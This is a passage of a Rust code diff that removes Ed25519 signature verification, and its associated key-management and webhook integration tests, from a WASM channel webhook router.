self.path_to_channel.read().await.keys().cloned().collect()
}
/// Register an Ed25519 public key for signature verification.
///
/// Validates that the key is valid hex encoding of a 32-byte Ed25519 public key.
/// Channels with a registered key will have Discord-style Ed25519
/// signature validation performed before forwarding to WASM.
pub async fn register_signature_key(
&self,
channel_name: &str,
public_key_hex: &str,
) -> Result<(), String> {
use ed25519_dalek::VerifyingKey;
let key_bytes = hex::decode(public_key_hex).map_err(|e| format!("invalid hex: {e}"))?;
VerifyingKey::try_from(key_bytes.as_slice())
.map_err(|e| format!("invalid Ed25519 public key: {e}"))?;
self.signature_keys
.write()
.await
.insert(channel_name.to_string(), public_key_hex.to_string());
Ok(())
}
/// Get the signature verification key for a channel.
///
/// Returns `None` if no key is registered (no signature check needed).
pub async fn get_signature_key(&self, channel_name: &str) -> Option<String> {
self.signature_keys.read().await.get(channel_name).cloned()
}
}
impl Default for WasmChannelRouter {
@@ -376,57 +327,6 @@ async fn webhook_handler(
}
}
// Ed25519 signature verification (Discord-style)
if let Some(pub_key_hex) = state.router.get_signature_key(channel_name).await {
let sig_hex = headers
.get("x-signature-ed25519")
.and_then(|v| v.to_str().ok());
let timestamp = headers
.get("x-signature-timestamp")
.and_then(|v| v.to_str().ok());
match (sig_hex, timestamp) {
(Some(sig), Some(ts)) => {
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as i64;
if !crate::channels::wasm::signature::verify_discord_signature(
&pub_key_hex,
sig,
ts,
&body,
now_secs,
) {
tracing::warn!(
channel = %channel_name,
"Ed25519 signature verification failed"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Invalid signature"
})),
);
}
tracing::debug!(channel = %channel_name, "Ed25519 signature verified");
}
_ => {
tracing::warn!(
channel = %channel_name,
"Signature headers missing but key is registered"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Missing signature headers"
})),
);
}
}
}
// Convert headers to HashMap
let headers_map: HashMap<String, String> = headers
.iter()
@@ -588,7 +488,7 @@ mod tests {
let prepared = Arc::new(PreparedChannelModule {
name: name.to_string(),
description: format!("Test channel: {}", name),
component: None,
component_bytes: Vec::new(),
limits: ResourceLimits::default(),
});
@@ -601,7 +501,6 @@ mod tests {
capabilities,
"{}".to_string(),
Arc::new(PairingStore::new()),
None,
))
}
@@ -730,437 +629,4 @@ mod tests {
.await;
assert_eq!(router.get_secret_header("slack").await, "X-Webhook-Secret");
}
// ── Category 3: Router Signature Key Management ─────────────────────
#[tokio::test]
async fn test_register_and_get_signature_key() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let fake_pub_key = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2";
router
.register_signature_key("discord", fake_pub_key)
.await
.unwrap();
let key = router.get_signature_key("discord").await;
assert_eq!(key, Some(fake_pub_key.to_string()));
}
#[tokio::test]
async fn test_no_signature_key_returns_none() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("slack");
router.register(channel, vec![], None, None).await;
// Slack has no signature key registered
let key = router.get_signature_key("slack").await;
assert!(key.is_none());
}
#[tokio::test]
async fn test_unregister_removes_signature_key() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
router.register(channel, endpoints, None, None).await;
// Use a valid 32-byte Ed25519 key for this test
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
router
.register_signature_key("discord", valid_key)
.await
.unwrap();
// Key should exist
assert!(router.get_signature_key("discord").await.is_some());
// Unregister
router.unregister("discord").await;
// Key should be gone
assert!(router.get_signature_key("discord").await.is_none());
}
// ── Key Validation Tests ──────────────────────────────────────────
#[tokio::test]
async fn test_register_valid_signature_key_succeeds() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// Valid 32-byte Ed25519 public key (from test keypair)
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
let result = router.register_signature_key("discord", valid_key).await;
assert!(result.is_ok(), "Valid Ed25519 key should be accepted");
}
#[tokio::test]
async fn test_register_invalid_hex_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let result = router
.register_signature_key("discord", "not-valid-hex-zzz")
.await;
assert!(result.is_err(), "Invalid hex should be rejected");
}
#[tokio::test]
async fn test_register_wrong_length_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// 16 bytes instead of 32
let short_key = hex::encode([0u8; 16]);
let result = router.register_signature_key("discord", &short_key).await;
assert!(result.is_err(), "Wrong-length key should be rejected");
}
#[tokio::test]
async fn test_register_empty_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let result = router.register_signature_key("discord", "").await;
assert!(result.is_err(), "Empty key should be rejected");
}
#[tokio::test]
async fn test_valid_key_is_retrievable() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
router
.register_signature_key("discord", valid_key)
.await
.unwrap();
let stored = router.get_signature_key("discord").await;
assert_eq!(stored, Some(valid_key.to_string()));
}
#[tokio::test]
async fn test_invalid_key_does_not_store() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// Attempt to register invalid key
let _ = router
.register_signature_key("discord", "not-valid-hex")
.await;
// Should not have stored anything
let stored = router.get_signature_key("discord").await;
assert!(stored.is_none(), "Invalid key should not be stored");
}
// ── Webhook Handler Integration Tests ─────────────────────────────
use axum::Router as AxumRouter;
use axum::body::Body;
use axum::http::{Request, StatusCode};
use tower::ServiceExt;
use crate::channels::wasm::router::create_wasm_channel_router;
use ed25519_dalek::{Signer, SigningKey};
/// Helper to create a router with a registered channel at /webhook/discord.
async fn setup_discord_router() -> (Arc<WasmChannelRouter>, AxumRouter) {
let wasm_router = Arc::new(WasmChannelRouter::new());
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
wasm_router.register(channel, endpoints, None, None).await;
let app = create_wasm_channel_router(wasm_router.clone(), None);
(wasm_router, app)
}
/// Helper: generate a test keypair.
fn test_signing_key() -> SigningKey {
SigningKey::from_bytes(&[
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
0x1c, 0xae, 0x7f, 0x60,
])
}
#[tokio::test]
async fn test_webhook_rejects_missing_sig_headers() {
let (wasm_router, app) = setup_discord_router().await;
// Register a signature key
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Send request without signature headers
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Missing signature headers should return 401"
);
}
#[tokio::test]
async fn test_webhook_rejects_invalid_signature() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", "deadbeefdeadbeef")
.header("x-signature-timestamp", "1234567890")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Invalid signature should return 401"
);
}
#[tokio::test]
async fn test_webhook_accepts_valid_signature() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Use current timestamp so staleness check passes
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let timestamp = now_secs.to_string();
let body_bytes = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body_bytes);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", &timestamp)
.body(Body::from(&body_bytes[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 — signature is valid (may be 500 since no WASM module)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Valid signature should not return 401"
);
}
#[tokio::test]
async fn test_webhook_skips_sig_for_no_key() {
let (_wasm_router, app) = setup_discord_router().await;
// No signature key registered — should not require signature
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 (may be 500 since no WASM module, but not auth failure)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"No signature key registered — should skip sig check"
);
}
#[tokio::test]
async fn test_webhook_sig_check_uses_body() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let timestamp = "1234567890";
// Sign body A
let body_a = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body_a);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// But send body B
let body_b = br#"{"type":2}"#;
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", timestamp)
.body(Body::from(&body_b[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature for different body should return 401"
);
}
#[tokio::test]
async fn test_webhook_sig_check_uses_timestamp() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Sign with timestamp A
let timestamp_a = "1234567890";
let body = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp_a.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// But send timestamp B in the header
let timestamp_b = "9999999999";
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", timestamp_b)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature with mismatched timestamp should return 401"
);
}
#[tokio::test]
async fn test_webhook_sig_plus_secret() {
let wasm_router = Arc::new(WasmChannelRouter::new());
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: true,
}];
// Register with BOTH secret and signature key
wasm_router
.register(channel, endpoints, Some("my-secret".to_string()), None)
.await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let app = create_wasm_channel_router(wasm_router.clone(), None);
// Use current timestamp so staleness check passes
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let timestamp = now_secs.to_string();
let body = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// Provide valid signature AND valid secret
let req = Request::builder()
.method("POST")
.uri("/webhook/discord?secret=my-secret")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", &timestamp)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should pass both checks (may be 500 due to no WASM module, but not 401)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Valid secret + valid signature should not return 401"
);
}
}

Some files were not shown because too many files have changed in this diff Show More